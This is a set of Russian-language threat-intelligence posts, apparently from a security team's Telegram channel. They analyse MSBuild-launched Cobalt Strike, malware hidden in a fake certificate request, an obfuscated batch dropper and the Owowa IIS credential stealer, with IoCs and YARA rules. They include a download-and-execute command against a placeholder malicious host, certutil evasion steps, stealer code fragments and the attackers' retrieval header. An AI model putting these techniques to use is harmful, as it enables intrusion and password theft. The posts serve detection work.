Практика наших расследований инцидентов показывает, что злоумышленники все еще используют Microsoft Build Engine для компиляции .NET и запуска Cobalt Strike Beacon на скомпрометированных узлах.
Предварительно на хост загружается конфигурация проекта .NET, представленная в формате XML. Конфигурация содержит в себе встроенную задачу.
Код задачи описан в структуре:
<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>
Задача — это блок исполняемого кода, с помощью которого MSBuild выполняет атомарные операции, которые используются разработчиками в процессе сборки проектов. В рассматриваемом случае злоумышленники используют данный механизм для запуска ВПО.
После успешной загрузки конфигурации запускается MSBuild, где параметром указан путь до конфигурации проекта. В результате на скомпрометированном хосте компилируется и запускается .NET библиотека. Она расшифровывает полезную нагрузку и вызывает функцию EnumChildWindows, которая исполняет шелл-код.
Пример запуска:
wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj
Yara:
rule Susp_Microsoft_Build_Engine_XML_Schema {
strings:
$s1 = "TaskFactory=\"CodeTaskFactory"
$s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
$e1 = "EnumChildWindows"
$e2 = "EnumDisplayMonitors"
condition:
all of ($s*) and any of ($e*)
}
Дополнительные материалы 👈
#dfir #hunt #detect #yara #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
К примеру, недавно к нам в SOC попало очередное подозрительно письмо. И мы сразу поняли, что CSR-файл, притаившийся внутри, — совсем не то, чем пытается казаться 👇
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
$ file notarealname.csr
notarealname.csr: RFC1421 Security Certificate Signing Request, ASCII text, with CRLF, CR line terminators
$ ls -lh notarealname.csr
-rwxrwxrwx 1 user user 7.3M Sep 26 17:35 notarealname.csr
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
rule SuspCertificateRequest {
strings:
$begin_1 = "-----BEGIN NEW CERTIFICATE REQUEST-----"
$end_1 = "-----END NEW CERTIFICATE REQUEST-----"
$begin_2 = "-----BEGIN CERTIFICATE REQUEST-----"
$end_2 = "-----END CERTIFICATE REQUEST-----"
condition:
(@end_1[1]-@begin_1[1] > 10240) or (@end_2[1]-@begin_2[1] > 10240)
}
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Об обфусцированном батнике замолвите слово...
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
📂 Открыть его удалось только с помощью WinRAR и UnRAR на Linux, дефолтный распаковщик Винды и 7-Zip теряются при виде архива, как показано на первом скриншоте (UX этого семпла на очень низком уровне).
Внутри архива находится batch-файл
Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
Serkan_Yalgi.Tar
.Внутри архива находится batch-файл
Serkan_Yalgi.cmd
, на втором скриншоте представлен фрагмент его содержимого. И такого безобразия там примерно 400 строк, остальные 115 000 строк занимает упомянутый в прошлом посте EXE в Base64.Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
python batch_interpreter.py –file Serkan_Yalgi.cmd
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
strings:
$subs = /:~\ *(-|\+)?\d{1,2},\ *(-|\+)?\d{1,3}%/
condition:
#subs > 100
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.
А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.
Модуль устанавливается в системе командой
appcmd.exe install module
. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner
. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.
public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...
Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.
Пример учетных данных, которые записываются в HashSet:
ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}
Данные, как и раньше, защищены алгоритмом
RSA-2048
, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00
, она является разделителем учетных записей.
memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);
Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.
Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком
username: ZaDS0tojX0VDh82
.Пример GET-запроса в журналах IIS-сервера:
2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14
Помимо перехвата полей
username
, password
в новой версии были добавлены перехваты LOGON_USER
, AUTH_PASSWORD
.В последней версии злоумышленники отказались от функции
RunCommand
, которая выполняла команды на скомпрометированном узле через powershell.exe
.IoCs:
Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6
YARA:
rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}
Happy hunting!
#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM